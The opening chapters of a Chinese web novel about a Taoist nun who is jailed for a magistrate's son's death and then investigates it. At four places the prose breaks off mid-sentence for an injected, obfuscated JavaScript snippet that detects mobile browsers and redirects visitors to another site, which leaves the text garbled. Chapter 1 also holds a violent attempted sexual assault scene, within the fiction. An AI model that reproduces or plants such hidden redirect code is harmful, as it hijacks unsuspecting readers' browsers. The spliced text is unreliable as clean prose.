《贵女她只想破案》 1. 牢狱惊魂 夜色如墨，残月高悬。 一支送葬队伍弯弯扭扭地跋涉在崎岖的山路上，妇人的哭声与哀乐交织，惊起路边枯树上的寒鸦。 队伍中，一个驼背的“影子”似是力竭般，呼哧呼哧坠在队伍后方。身上的粗麻孝服散发着一股陈旧的霉味，一双孝鞋如靸鞋般拖拖拉拉一步一滑。不知是哭得太伤心来不及整理形容还是什么原因，巴掌大的脸上沾满了黑色的指痕，只一双明亮的杏眼突兀地安在这具“丑陋”的身体上。 “影子”混在哀哭的队伍里，一边顺着哀乐的起伏，用胳膊擦擦眼角不存在的液体，一边心念飞转。再往前不到一公里就是祁阳界的渡口，只要能渡河跑到曲陵的地界，那畜生便不能再拿她如何了。 此时，前方的孝子贤孙已经停下开始烧纸作仪，而她也成功拖到了队伍最末端，正悄悄将宽大的孝服前摆系在腰间好方便行动。 抬脚间，林间突然传来一阵骚动，一队官差瞬间将送葬队伍团团围住。心猛地提起，她再度缓缓佝偻起背，解开衣摆，小心隐入前人的影子中。 混乱中，葬礼的礼生从袖中摸出一锭银子，“差爷，这是......” “滚开！”佩刀横在礼生脖颈。 “官府捉拿要犯，若有阻拦者，以同党论处！” 刀身反射的月光从众人脸上冰冷地扫过，送葬队伍瞬间歪七扭八地跪了一地。“冤枉”之声不绝于耳，仅留八名抬棺脚夫抬着漆黑的棺材，不知所措地站在坟穴前。 “都给我闭嘴！”见再无人多话，衙役猛地从背后扯出一个高瘦男子。 “仔细认！这可是今天最后一波出城的人了，若是再找不到......”衙役冷笑一声，“你就等着陪葬吧！” 那张脸......她的指尖深深掐进掌心。 果不其然，一刻钟后，男人如蒙大赦般的叫声响起：找到了！就是她！她就是那个妖女！ 手臂被反拧至身后，背后的伪装“驼峰”的包袱也在推搡间掉在了地上，露出女子原本单薄的身型。她放弃挣扎，眼睛飞快地扫过一圈官差的人数和配置，瞳孔地震。 这个不学无术的二世祖失心疯了？敢这么明目张胆地强掳良家女子？！ ——————————————— 直至推搡进阴暗潮湿的牢房，看着狱卒乱七八糟地往她在的牢门上贴了许多黄符。她才从官差的呵斥与狱卒的窃窃私语中拼凑出一个令人震惊的真相。 赵秉死了。 昨夜暴毙于原本要和她“成亲”的外宅新房。 而她这个险些成了良妾又逃跑的道姑，成了头号嫌犯？是她作法杀了赵秉？ 回想以往的事情，她只觉得荒唐。 自己自记事起，就在祁阳县清微观跟着师父学道。且在道法上颇有天份，极擅微观辨理，更有天人相应的本事。 祁阳县不大，这么些年来，她在红白喜事，摸骨慰灵、化念解怨等事上竟也小有了些名声。 一个月前，城内许员外慕名邀请清微观为小儿子满月打醮，宴会上，偶遇了替父亲赵县令送贺仪的赵秉，不过两句客套，就被这恶棍缠上了！ 五日前，他竟假借看风水将她囚禁在别院，口口声声要纳她为妾。 想起那张恶心浮肿的脸，她胃里一阵翻涌。无奈看守太严，她只能装了几日顺从，终于在新婚之夜趁乱逃了出来。 可是，赵秉怎么会死呢？！ 明明今日戌时三刻左右，赵秉才醉醺醺地返回内室，调笑着说去净房沐浴，让她乖觉在房中等待。 她就是趁这个时间逃出赵府别院的，她逃走时路过净房，还能听到净房中哗啦啦的水声。 他那时候一定是活着的！ 而且就算从她逃走的时间算起，到现在将她关押进牢房，前后才一个多时辰。期间还包括发现、确认赵秉死亡、锁定自己为疑犯，甚至还包括追出城外缉拿，这么快进展真的合理吗？ 女子迷茫地靠在石壁上，寒意透过单薄的衣衫沁入脊髓，她不自觉打了一个寒颤。 月亮渐渐隐入云幕。幽暗的牢狱里，响起狱卒恶俗的声音。 “哥几个，谁去‘降服’那妖女？” “我不去！我家‘母老虎’不让我碰女囚！” “切！嫂夫人知道你这么污蔑她吗？我看你是吓破了胆吧！” “我呸！有本事你去！” “我去就我去！你可瞧好了！” 脚步声越走越近，一个腰间挂了一串钥匙，脸上留着长长刀疤的狱卒，脚步虚浮地走近。牢门打开，一股酸臭的烧酒味混着男人的口气扑鼻而来。 “你想要干什么？！” “干什么？过一会你就知道了。”男子嘿嘿淫/笑两声，突然扑了上来。 油腻肮脏的布料，混合着令人作呕的哈喇味扑面而来。巨大的力量悬殊面前，女子脚下不稳，一下子被扑倒在了地上。 见她挣扎得厉害，刀疤脸狱卒两腿死死捆住她的下半身，两只铁钳般的手撕扯着女子的衣物。 情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041596|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急之下，女子一把抓住地上的灰尘、稻草，朝狱卒脸上扬去。灰尘落入对方眼中，刀疤脸狱卒吃痛，他猛地闭上眼睛，后退一步。 女子趁机爬起，连忙拉开二人距离。 “臭**，敬酒不吃吃罚酒！”刀疤脸缓过神来，愤怒地冲了上来。 女子再度被逼到墙角。 推搡间，狱卒一把扯住她的长发往地上拖拽，她强忍头皮剧痛，奋力掰扯对方的手指，见不起作用，咬牙一拳狠狠打向男子下/体。狱卒“嗷”的一声，仿佛受刺激的野兽，手掌蓄满力量狠狠扇向女子。 巨大的力量冲击下，她的耳间只剩嗡鸣，整个人一阵眩晕，口腔里迅速弥漫起浓重的血腥气。 狱卒还在不停撕扯，她的心里升起一丝绝望...... 不，她不能...不能放弃。 女子死死咬住舌头，浑身重新蓄力挣扎起来。 突然，“砰——”的一声响起。 身上的重量陡然消失，随之而来的还有狱卒一声粗俗的骂娘的脏话。“谁*妈踢老子？！” 唰得一道银白色剑光瞬间架到狱卒脖子上，原本骂骂咧咧的狱卒一下子噤了声。 远处的狱典见势不对，悄悄顺着墙根跑了出去。 留月强忍剧痛，快速从地上爬起来，原本就不合身的衣袍，此时，更破破烂烂地不成样子。大牢里的阴气一下子浸凉她原本因挣扎而湿透的后背，她忍不住打了一个寒颤。 “都给我拿下！”一声男子严厉的呵斥声在狱中回响。 紧接着，还带有体温的披风紧紧将她包裹起来：“月儿，爹来迟了。” 月儿？爹？是在说她吗？可自己不是孤儿吗？ 留月疑惑地抬头打量起来人。只见对方身着绯红色官袍，官袍上绣着拖着华丽雀羽的锦鸡。男子大约不惑之年，下巴上蓄着浓密的胡子，眼中有点点泪光闪烁，身后是一队训练有素的黑袍护卫。 她的视线一一滑过现场所有人，师兄云升也穿着一身墨黑色的衣服混在队伍当中。 对方接受到她的迷茫，握住刀柄的手悄悄竖起大拇指，头几不可察地点了点。 留月觉得自己懂了。 这八成是“假李逵剪径劫单人”的戏码！ 问题是，她道号留月，而非明月。所幸现场看起来都被震住了，无人在意这个细节。 为避免破坏师兄计划，她只沉默地朝中年男子摇摇头，一言不发。 不多时，牢狱入口之处再度响起喧哗之声。 2. 父女相认 “大人，当心脚下，您往这边走。” 留月站在牢中，循声望去。只见不远处一身着石青色官袍的人，一边扶着帽子，一边往此处小跑而来。这张脸她认识，是赵秉的父亲，也是这祁阳县的父母官——赵峻。 很快，赵峻就跑至近前：“下官祁阳县县令赵峻，不知上官驾临，有失远迎，还望大人恕罪！不知大人是......”对方背压得极低，双手捧在身前，一副谦卑模样。 “本官姓秦，蒙圣上恩典，腆居户部尚书一职。”对面的男子突然转过头，“赵县令？” “下官在，大人有何吩咐？” “不敢当，本官只是想问问，我女儿所犯何罪，竟被赵县令关进了大牢？以及赵县令如何约束的手下，竟有如此地痞流氓混入官府之中？” 赵峻震惊地抬头看向牢中，又看了一眼一旁脑袋已经架在刀剑之上的狱卒：“这......大人，您是否有所误会？此女是清微观道士留月，她涉嫌以妖术害死了下官独子，因此收监待审。” 很好，不等她想办法提醒名字的漏洞，赵峻自己说了。 “妖术？害死令郎？赵县令，你也是举人出身，读过几日圣贤书，子不语怪力乱神之理，莫非都忘了吗？办案讲的是证据，不是算命。” “大人，下官岂敢妄言？犬子正是在纳她为妾当日惨死，死状凄惨诡异。若非妖术，怎会如此？此女随后潜逃，如果不是她，还能有谁？！” “纳妾？”方才语气还算隐忍的男子终于爆发了，手中团起的纸球狠狠砸到对方脸上。 “敢问令郎是以何等仪轨纳我秦某人的女儿为妾？三书六礼何在？父母之命何在？！还是说，在这前祁阳地界，赵县令的公子，就可以强掳良家、逼人为妾，而不需遵循《大晟律》了？！” 好充沛的感情，好强的气势，留月心中简直要为他鼓掌。 对面的赵峻已经吓得双腿一软跪在了地上：“这这这......下官实在不知她是您的千金啊，若是知道，借犬子一万个胆子也不敢啊，这其中必有误会，对，一定是有误会。” “既是误会，那我可以带我的女儿走了吗，赵大人？” “可以，当然可以。” “还有这个——” 秦洪业冰冷的眼神扫过刀疤脸狱卒，“鼠蚁之辈，杀了吧。” 说完，不再回头，揽过留月往外走去。 ———————————————— 清微观厢房内，灯烛轻晃，柔和的烛光似要努力驱散夜晚的寒意。护卫按照秦洪业吩咐远远守在清微观厢房门口。 留月换掉孝服坐在桌旁，她身着素色道袍，脸上手上、还残留着与狱卒撕打留下的青紫伤痕，黑色披风被她整齐叠放在眼前的桌面上。 秦洪业凝视着她结起血痂的嘴角，推来一瓶伤药，轻柔的声音里满是藏不住的担心。 “孩子，让你受委屈了，这是宫中御制的伤药，有镇痛化瘀的功效。” “多谢您的关切与搭救之恩，贫道尚好。”留月起身行礼，心里却不止住打鼓，什么情况？宫中秘制的伤药？ “快起来，快起来！” 稍缓片刻，对方看着她重新开口：“孩子，我是谁想必刚刚你已经听到了，这件长命锁的花型你可眼熟？”他边说，边从怀中取出一个旧丝绢包，小心解开后，迎着少女探究的目光，将一个月形长命金锁向对面推去，“这是我女儿周岁时，我与她母亲送给她的生辰礼，与它相配的还有一枚同样梅花手串。” 迎着对方期待的眼神，留月犹犹豫豫地将长命锁拿起。其实她刚刚看了一眼就知道了——自己确实有一个有同样花样的手串，是师傅当年捡到她时戴在手腕上的。 可现在是什么意思？不是剧本？真是她失散多年的父亲？ 她着实有些不知所措了。 窗外的风隐隐吹入，引得桌子的灯火左右摇曳，燃烧许久的灯芯哔剥一声炸响灯花，划破一室沉默。 “我确实有……” 话刚出口，对面唰的一下站起身：“孩子，我是你父亲啊！”情绪之激烈，惊得她不自觉后仰，动作牵动伤口，她吃痛地嘶了一声。 “快坐好，快坐好！” 秦洪业缓缓放开撑在桌面上的手，努力克制住情绪。 “我只是...只是太高兴了。孩子，你原名叫秦明月。十五年前，因家中疏忽，不慎走失。这么些年，我们从未放弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041597|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过找你，只可惜你母亲到最后也......若她还在，该有多高兴。”对面的中年男子眼中似有泪光闪过。 留月神情复杂地看向对面，脑袋有些发懵。多年道观生活，她确实不太擅长处理感情问题，更何况还是安慰一个自称她父亲的中年男子，父亲是叫不出口的，“恭喜您总算找到女儿”好像也不太对。 二人一时冷场。 刚寻回亲生女儿的秦大人激动地在房中来回踱步。良久，像想到什么似的，突然开口：“月儿，此地是非之地，赵县令丧子之痛下难保不会失去理智，你愿不愿意随我先离开这里，我们先安顿下来再从长计议？我一定会护你周全。” 留月想也不想立刻摇头。 “为何？可是还有什么顾虑？赵峻之处你无需......” “大人，不是因为这个。” 她虽然平日里一副生死看淡的道家高人模样，但却不得不承认，自己其实世俗的很，受不得诋毁，也放不下亲近之人，实在达不到虚极静笃的高人境界。 若要她为了活命，从此成为别人眼里倚仗权势逃脱犯人，还要连累护她多年的师门，那还不如一把刀抹了自己以死明志。可她又怕引得眼前这个“大人物”不满，觉得自己不识好歹，就将话在腹中转了一圈，开口：“若我此刻随您离去，在外界看来就是草菅人命、仗势脱罪，于大人官声有碍；赵秉死因不明，我想要留下来查明真相，还自己一个清白。” 她边说边抬手将桌上的披风和月形长命锁推向对面。 对方显然也愣住了。 ————————————— 远处的钟楼传出悠长的钟鸣，提醒此刻已是戌正时分。 良久，中年男子开口：“好，都听你的。”他顿了顿，“但我会去信刑部请求彻查此案，亦会在律法允许范围内协助你查案，我们一起还你清白，好不好？” “多谢体谅。”鬼使神差的，她又添上一句，“还有，我刚刚只是在和您确认。” 秦洪业反应过来，笑着摇摇头，反手将长命锁和披风推回。 “我怎么会认错自己的女儿。孩子，你先好好休息，披风不用急着还我，夜间露重，你总能用得上。” 3. 徒手验尸 翌日一早，留月是在浑身酸痛中醒来的。 洗漱完毕推开房门，就见师兄云升和一侍卫分列两侧。 见她出来，侍卫立马抱拳行礼。 “小姐，大人此次来祁阳还有要事在身，命卑职暂时跟随你左右，等事了便回，您若有什么需要，可随时吩咐卑职。” 她不傻，秦洪业这是“律法允许范围内”为她保驾护航，免得她落人口舌。 留月上前虚扶起对方：“唤我留月吧，不知大人该如何称呼？” “是，秦小姐。卑职名叫李敖。” ...... “今日就有劳李大人陪我再重走一遍现场了。” “不敢当，您唤我李敖即可。” 接下来，留月就在师兄乱飞的眉眼中，给三清祖师上香并在后厨转过一圈后，带着二人往赵家别院走去。 ——————————————————— 这是她第二次站在赵家别院朱红色的门前。 不等她开口，李敖便从腰封中取出一块令牌，快步走上前去与赵家门房交涉。 片刻后，赵家别院大门中开，赵峻在下人的搀扶下走了出来。 看着留月几人，赵峻想起昨日牢中的情形，嘴角微微抽搐。 “赵县令，还烦请允许我们先行勘验别院现场，再细细查验令郎遗体。” “查验遗体？！”赵峻音调陡然拔高。 片刻后咬牙开口：“......好，徐管家，你亲自给秦小姐带路，再妥善安排好少爷灵堂事宜。” 留月看着赵峻铁青的脸色，深觉今天若没有秦洪业的安排，自己可能连赵家的门都别想摸到了。 一路穿过赵家别院前庭。留月一边留心院中情况，一边询问管家案发当日情形。 “你是说，当日是绿榕姑娘听到净房中有挣扎声和闷哼，赶紧推门进去查看情况？”绿榕是赵府三姨娘送给赵秉的贴身婢女。 “那当日为何是由阿良跟着衙役追捕于我？” “因...因为......”老管家支支吾吾。 身旁的李敖停住脚步，双眼如隼般盯着对方。 管家将头死死压低，飞速一口气说完：“因为事发后阿良主动站出来说，曾看见一红衣女子从内院桃树飞至墙上再飘出院子，那日...那日只有姑娘穿着红色的喜袍啊！” “一派胡言！我师妹若是有这本事，又怎会被掳走五日后才能寻得机会逃跑？又如何能被你们这帮蠢材抓住！”云升简直要被这处处都是漏洞的说辞气到拔剑。 “是！是！都是下人们胡乱推测，做不得数！”管家连连讨饶。 几人步行至内院门口：“徐管家，你送到这里即可，案发现场我们自行探查。” 她推开内院木门。 “还要辛苦您准备一个铜盆，一会检查尸体时可能需要。” 说完，三人便迈步跨进内院。 内院正前方是联排的三座大屋并一座小屋，最左边的小屋是沐房，也是赵秉横尸之处。 往右第一间大屋是起居室，两个屋子正前方均开有一扇正门，二者中间还留有一扇小门，方便进出。联排大屋中间是客厅，最右则是书斋；院子的东西两侧各有一座厢房，是院中仆役所居之所。 留月一马当先推开净房大门，抬步进入。 首先映入眼帘的是一面绘有“仕女嬉春图”的漆画屏风，绕过屏风是一个巨大的木质澡桶，桶中已无水迹，只余一条软棉澡布随意的搭在澡桶边缘。澡桶右手边放置着一个红木巾架，上面还有一捧满满的澡豆。澡桶左侧靠墙的铜制熏笼上是一个特制的新广口暖汤鼎，既能在洗澡过程中随时加入热水，蒸发的热气也能提升室内温度。 “师妹，快来看！” 在一旁摸摸索索的云升突然出声。 留月快速转向，差点与身后的李敖相撞，李敖赶紧退至一侧。 留月走向云升手指之处，只见沐房北侧的窗户上有一食指大小的圆孔，圆孔边缘明显起皱有毛刺。 “是有人用手指沾水戳开了窗户。”李敖的声音在背后响起。 “我出去看看。” 片刻后—— “我有发现。” “我有发现！” 一道男声与一道女声同时在屋内响起。 二人对过眼神，李敖率先开口。 “我在沐房北窗下发现一块明显是新搬来的青砖。据我所知，这个月来，祁阳一直在下雨，昨日起才雨水停歇，窗下泥土松软，我便找来类似的青砖站了上去，砖块下陷之深倍半于原砖。” “所以结合站立时长、泥土干湿情况等因素，偷窥之人体重大约是李侍卫的三分之二？”留月推理。 李敖回道：“没错，且窗户上的圆孔距离地面约五尺。” “正常人的眼睛距离头顶约两寸左右。”云升拿手在自己额间丈量。 “也就是说偷窥之人身高五尺二寸左右，体重约为李侍卫的泰半，所以...这是个个子高挑的女子？” “也不能排除是个个子矮小的男子。”留月摇摇头。 “你们再来看这口铜催。” 她将二人引至铜催旁并打开铜催盖子。 “我被软禁时，赵秉为了‘软化’我，曾使了个婆子来当说客，婆子曾说过赵秉为了纳我特地将这内院所有的东西全部新置了一遍，包括这个窗纸，也包括这个铜催，可你们看这铜催底部......” 她将手指伸入铜催内轻轻一刮，伸出给二人看。 “只用了一回的底部竟有如此明显的水垢，难道不奇怪吗？更何况这‘水垢’细腻的有些过分了。” 留月捻捻手指想要闻一闻，却被李敖挡了下来。 “可能由于经过沸水蒸腾，只有一股极淡的青涩味道。”他将粉末放置鼻下。 “所以，窗上小孔也是案发当日被人戳破的？” 云升赞同地点点头，从随身包裹中取出一个小瓷瓶，轻刮了一层“水垢”拢进瓷瓶中，留待回去后验查。 三人又将内院仔细检查一遍，方才出门喊住一个路过的小婢女，请她带路往灵堂走去。 —————————————— 灵堂之上，大概由于管家提前安排，原本为亡魂诵经超度的僧众已被请下。 厅内只两个白衣素服女子坐在罗圈椅中，徐管家侍奉在一旁。 一名年轻女子笔直地跪在棺前，机械地将纸钱一张张掷入火盆，跳跃的火光映着她年轻的侧脸。 见三人走近，一个眼角微翘，嘴唇薄抿的中年美妇缓步上前。 “想必三位便是为了秉哥儿的事而来的大人吧？妾身俞氏，老爷伤心过度，一切事体只好由妾身勉力支撑，诸事都已备下，还望各位大人能体恤亡魂，手下留情，莫要惊扰太过。” 说完，俞氏身后一腰缠麻带的女子突然大哭出声：“我可怜的儿啊！” 她边说边拿起倚在灵堂一侧的孝杖，朝着留月扬手奔来。 电光火石间，原本跪在棺前的女子似是怕牵连般，以手撑地起身往后退去，混乱中带着留月站不稳连连后退几步。 李敖一步上前拔剑，挑开孝杖，横剑站在二人身前。 “大胆！” “柳氏，不得无礼！花姨娘，还不快将你婆母扶下去！” 美妇转头呵斥，抱歉地朝三人苦笑。 “诸位贵人见谅，这是秉哥儿的生母，遇到这样的事，一时悲痛难忍，还望莫要怪罪。” “无碍，只是接下来的过程不免触及夫人伤心处，还请诸位回避。” 留月从女子脚下扯出自己的衣摆，挥了挥手。 待看俞氏与那位人呼花姨娘的年轻女子将柳氏半劝半拖的带走。 留月吩咐徐管家取出铜盆，云升默契地从包袱中取出早上从后厨顺来的皂角、苍术，放入铜盆中点燃。 三人将白布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041598|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒙于口鼻处，走上前推开棺盖。 李敖挡在留月身前，“小姐，还是您来吩咐，由卑职来查验吧。” “无妨。” 她轻轻推开李敖，伸手揭开复在赵秉脸上的面衣。 “死者昨夜死亡，脸颊鼓胀，嘴唇外翻呈鲜红色。”一旁云升随着留月的口述，刷刷提笔记录。 “眼球突出，眼白充血，”留月一手翻开赵秉眼皮，一手向旁边伸去，“棉絮。”李敖赶紧递过去。 “鼻腔中留有少许鲜红色液体，”说完顺手拔下头上的银簪，撬开赵秉嘴巴，“口腔内有少许污绿色斑块。” 检查完赵秉头发内情况，留月目光下移，解开赵秉衣物，“师兄，来帮我翻个面。” “好嘞！”云升一把将笔册塞入李敖怀中，利索地将尸体推至侧躺。 站在一旁的李敖满眼震惊，秦小姐的一番行为属实打破了他对女子的狭隘认知。 “死者背、腰、臀、四肢后侧存在片状、界限清晰的鲜红色斑块，无其他明显伤痕。”留月伸手按去，“按压后褪色，松开后颜色恢复鲜红色。” 说完，便要去解赵秉裤子。 “留月姑娘！” “秦小姐！” 灵堂上，徐管家与李敖再也忍不住，同时出声。 留月看着二人欲言又止的神情，耸耸。 “好吧，没注意，那我掀开衣摆看看？” 徐管家像见鬼般连连作揖，“还请姑娘从简，让少爷早得安宁。” “好。”留月快速上手，“死者双腿绷直，脚趾蜷曲，呈痉挛姿势。” ...... 一炷香后。 留月检查完最后一处，用徐管家提前准备的好的清水净过手，随手接过云升的记录翻看起来。 “李大人，你说离奇不？死了多时的赵少爷唇瓣竟还是如此红艳，”她口呼李大人，目光却直直望向徐管家。 “这也就算了，可他竟然还血液未凝，尸斑鲜艳，脚尖绷得笔挺的，谁家死人是这样的？要不是亲眼所见，我怕不是也要认为这是邪术害人了。” “这不是邪术！这是中毒！”李敖坚决做好一个老实的捧哏。 留月倒也不再多费口舌，拍拍手上不存在灰，“走吧，接下来就该想办法揪出这场戏的‘班主’了。” 深夜，清微观后厢房内。 云升焦躁地走来走去。 “师妹，你干啥非要我去偷祖师爷贡品？这和案件有啥关系？” “祈祷祖师爷保佑啊。” ...... 你要不要听听你在说什么？偷拿祖师爷的贡品还要他老人家保佑你？ 他不懂，但他大为震撼！ “快别和我打哑谜了，你一定知道凶手是谁了对不对？还有那个李侍卫呢？他怎么不见了？” “他啊，做‘候蜂’去了。” 留月拿起刀在苹果上来回比划，然后横着切出了一个五角星。 “什么‘候蜂’？”云升看着一心对着苹果“狠下毒手”的师妹，急地抓耳挠腮。 “师妹，你变了！你现在有什么事都不和师兄说了！”然后，开始假装抽泣起来。 “那你也没告诉我我怎么就有爹了啊。” 灯下，一双明亮的杏眼灼灼地盯着他。 云升假装若无其事摸摸鼻子走开，无他，理亏。留月也不追问，目光又回到地上的一笼小鼠上。 三个时辰后，李敖急匆匆的脚步声在门外响起，推门带起的冷风将桌旁打瞌睡的云升惊起一身鸡皮疙瘩。 “小姐，卑职查到了......”李敖附在留月耳边小声回禀。 云升忍不住开口打断：“你们到底在密谋什么？有什么不能摊开说的？” “事以密成，以及——这是对你有事瞒我的‘报复’！” 迎着云升震惊的表情，她拍了拍对方的肩，“走吧，现在到休息时间了。” 4. 真假凶手 次日一早，三人再次来到赵府。 甫一进屋，就见赵峻高坐堂前，眼神阴鸷：“秦姑娘，你执意要查，我赵府上下全力配合，只希望你寻到的真相，能给赵家一个交代。否则，届时恐怕连令尊大人也要为难了。” “赵大人，你还是先操心操心自己吧。纵容亲子，强掳良家、违律扣押......哦，还有尸位素餐，但凡赵大人自己可以，何须我来查证。” “你！” 啪嗒—— 李敖突然将一块刻有“秦”字的令牌扔到身旁的茶几上。 赵峻见状，鼻子里重重哼了一声，强压下内心的恨意。 留月也不屑于与赵峻纠缠，视线在厅上逡巡一圈后，重新将目光投到某个不起眼的身影上，开门见山道：“花姨娘，请问您案发当晚人在何处？有何证据？” “当日公子纳妾，我这旧人自然是在屋中独自神伤。” “伤神到难以入眠？” 噗嗤——对方突然笑出声来，引得在场众人纷纷侧目。 “姑娘说是，那就是吧。” “所以，这也是你一周前去仁济堂买入大量草乌的原因？”秦明月从李敖手中接过昨夜找来的药房出入库簿册，翻了翻，“只是姨娘这用药量也忒大了些，就是将赵府后院马厩里那几匹好马全部药倒也足够了。” 闻言，一旁的柳氏似是反应过来，夺过簿册急急翻阅，纸张随着翻动，发出沙沙的声响。 眼见她的眉头越拧越紧，手也不自觉颤抖。赵峻还有什么不明白的，立马高声厉喝，喊人上前扣住花姨娘。 “且慢！”留月伸手拦在女子身前，“赵大人，您这等武断的行径何时能改一改呢？” “你说什么？” “我说，草乌量再大也只是迷药，便是真因此丧了命，也不至于是令郎那副——风流模样。” 花厅之上，气氛有一瞬间凝滞。赵秉死得不光彩，虽然大家心里都清楚，但被留月当着众人的面就这么点破，无异于一巴掌打到了赵家脸上。 正当大家小心翼翼看着赵峻的脸色时，一个女子尖锐的声音突然响起。 “奴婢想起来了！花姨娘买药那日，奴婢正好去给公子取衣裳，亲眼见她在济仁堂后巷，与一个陌生男子低声交谈，还递过去一包东西。当时奴婢没敢多想，现在想来......莫非那就是害公子的毒药？” 留月看着泪如雨下的绿衣婢女和柳氏，讥讽一笑，这可就有意思了，早想不起来，晚想不起来，偏偏这时候想起来。 她弯腰捡起散落在地上的药方簿册，轻轻拂去上面的灰尘。 “你就是绿榕？赵秉的通房？” 闻言，对方撑着地面的手倏得一紧，旋即很快松开：“回姑娘，奴婢是绿榕。” “正巧我也有事需要问你，”留月平视着那张人畜无害的脸，语气中仿佛带着一丝/诱/哄，“你当日是如何发现赵公子情况不对的。” “奴...奴婢当时在门外，似乎听到里面似乎有短暂的挣扎和一声闷哼。” 说完，对方刷得一下颜色尽失。 “你也觉得不对了，对吧？花姨娘买的草乌是一种迷药，人吸入后会快速无声地昏迷，那你如何听得到声响呢？” “许是......许是奴婢听错了！奴婢当时心中忧心，并未来得及细听，又或许是在姨娘迷晕公子之后，有歹人潜入加害呢？或许就是那日与花姨娘接头的男子呢？奴婢一心只挂念公子安危，情急之下顾不得多辨听，还请老爷、夫人责罚。” 绿榕一下一下拼命叩头，额头很快就红肿起来，可赵峻与柳氏却始终只是冰冷地看着她。 厅上，“咚咚咚”以头抢地之声不断响起。半晌，还是留月摇摇头，上前勾起了女子的下巴。 “好了，绿榕姑娘。起来吧，瞧瞧你这额头，回头怕不是要痛上十天半个月的了。”留月从袖中掏出一瓶药膏，递到她面前，“女子的容貌最是重要。正巧，我之前在姑娘的房中寻得了这么个宝贝，还不赶紧敷上。” 看到那个瓷白瓶身的刹那，绿榕整个人如坠冰窖。 完了......她知道了！她都知道了！从她提到后院的马，自己就该知道的，眼前这个人早就看穿一切了。 “绿榕姑娘这是怎么了？” 留月死死盯着对方的神情，再度将药瓶往前推去。 “姑娘可是担心不对症？不应该啊，这不是姑娘自己配的么，用来治疗什么，你应当是最了解的。” “有黄柏、黄芩、茯苓、甘草......”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041599|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她每说出一味药材，绿榕便往后瑟缩一分，直到被椅子拦住退路，再无可避。 “这与案子有何干系，我制的又不是毒药！” 对方突然猛地站起身推开留月，被李敖瞬间拔剑横在脖颈之上。 “对！你制的不是毒药，可也不是给人用的，而是给马用的！马匹在糖分摄入过多时，便极易患上蹄叶炎，需要用此药消炎镇痛。”见对方犹在狡辩，留月沉下脸，欺身上前，“所以，这马为何患病，还用我接着说吗？” 花厅之上，泾渭分明。 惨白的日光透过门户打在留月脸上，没有一丝温度。往日里英气的眉眼，此时落在绿榕眼中，简直成了催命的阎王。 “大人！大人！不好了！” 突然，一个短打褐衣男子不顾家丁阻拦冲入厅内，“马厩里那匹生病的黑马突然发了狂，人都靠近不了，鼻腔嘴巴里还在流血，快要不行了！” 留月看清来人，心中忍不住冷笑。这是来了个老面孔——当日在山脚指认她的小厮阿良。 赵峻此时正心烦意乱，闻言不耐烦地挥手：“这等小事也来禀报？滚出去！” 来人却扑通一声跪在门口，磕头道：“老爷容禀！小的怀疑是有人给马下了毒！就和......就和少爷的事一样！方才这位姑娘一说马病，小的就觉得不对劲啊！” 什么？马死了？留月紧紧皱起眉头。昨日自己去过马厩，那马明明只是糖分摄入过多患了蹄叶炎，除非...... 一旁的绿榕再度痛哭出声：“老爷，夫人！少爷生平最爱骑‘黑风’了，下毒之人这是怕直接下毒失手，还想利用马儿发狂来陷害少爷啊！” 她突然猛地抓住脖颈间的剑，鲜血从指缝间慢慢滴落：“秦姑娘！你为何要如此步步紧逼，将污水尽往我身上泼？我明白了......是不是因为你最初入府，是我替公子传的话？你因此怀恨在心，便与这买迷药的花姨娘勾结，编造这一套说辞，想要找个替死鬼，为自己彻底脱罪，是不是？！” 不等留月回答，又膝行上前，紧紧抓住柳氏的衣摆，哭道：“夫人，老爷！你们看看，自从这位秦姑娘来了，府里就出了祸事！她口口声声药方、马病，哪一样有实实在在的人证物证？她才是那个最想洗脱嫌疑的人啊！” 5. 二人初识 门外倏的响起老鸹砂砾般的声音，黄纸燃烧的气味顺着空气在厅中弥漫。远处，隐约传来僧人唱经之声...... 赵峻果然面色铁青地再度看向留月。 